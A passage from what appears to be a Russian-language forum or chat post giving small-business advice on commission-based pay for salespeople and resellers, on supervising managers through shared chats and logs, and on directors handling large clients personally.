То есть чтобы не попасть в убытки с з/п и стимулировать активность продажника.

Есть отдельная категория продажников - реселлеры, дилеры (условно). Это те кто ведут свои рекламные кампании, за свой счет и приводят крупных заказчиков.
Они конечно работают за %, 20-30% от сделки и на крупных сделках, где всем останется.


2. Ответственность

В идеале поначалу сделать общий чат: оператор, саппорт (менеджер) + ты ("тимлид") и наблюдать за разговорами.
менеджера тоже можно потестить анонимно.
Если не присутствовать, то читать логи, чтобы вовремя вмешаться и загасить конфликт.

и да. Крупных клиентов обычно директора ведут лично, чтобы не зависеть от менеджеров, во всех смыслах.


3. Организационно-финансовая сторона.
мне кажется она априори ошибочной, но это обсуждать не нужно.
👍5 ❤️1 🔥1

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.